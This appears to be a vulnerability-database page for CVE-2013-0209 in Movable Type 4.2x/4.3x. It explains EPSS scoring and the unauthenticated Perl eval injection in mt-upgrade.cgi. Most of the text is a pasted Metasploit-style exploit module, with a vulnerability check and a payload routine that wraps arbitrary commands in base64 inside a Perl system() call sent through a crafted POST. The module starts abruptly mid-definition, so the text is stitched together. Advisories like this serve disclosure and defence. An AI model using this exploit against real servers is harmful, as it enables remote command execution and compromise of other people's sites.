CVE-2013-0209 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The vulnerability arises due to the following properties: 1. This script may be invoked remotely without requiring authentication to any MT instance. 2. Through a crafted POST request, it is possible to invoke particular database migration functions (i.e functions that bring the existing database up-to-date with an updated codebase) by name and with particular parameters. 3. A particular migration function, core_drop_meta_for_table, allows a class parameter to be set which is used directly in a perl eval statement, allowing perl code injection. }, 'Author' => [ 'Kacper Nowak', 'Nick Blundell', 'Gary O\'Leary-Steele' ], 'References' => [ ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate) ['CVE', '2013-0209'], ['URL', 'http://www.sec-1.com/blog/?p=402'], ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => [ 'win', 'unix' ], 'Targets' => [ ['Movable Type 4.2x, 4.3x', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jan 07 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) ], self.class) end def check @peer = "#{rhost}:#{rport}" fingerprint = rand_text_alpha(5) print_status("#{@peer} - Sending check...") begin res = http_send_raw(fingerprint) rescue Rex::ConnectionError return Exploit::CheckCode::Unknown end if (res) if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) return Exploit::CheckCode::Vulnerable elsif (res.code != 200) return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Sending payload...") http_send_cmd(payload.encoded) end def http_send_raw(cmd) path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { 'uri' => path, 'method' => 'POST', 'vars_post' => { '__mode' => 'run_actions', 'installing' => '1', 'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]} } }) end def http_send_cmd(cmd) pay = 'v0;use MIME::Base64;system(decode_base64(q(' pay << Rex::Text.encode_base64(cmd) pay << ')));return 0' http_send_raw(pay) end end
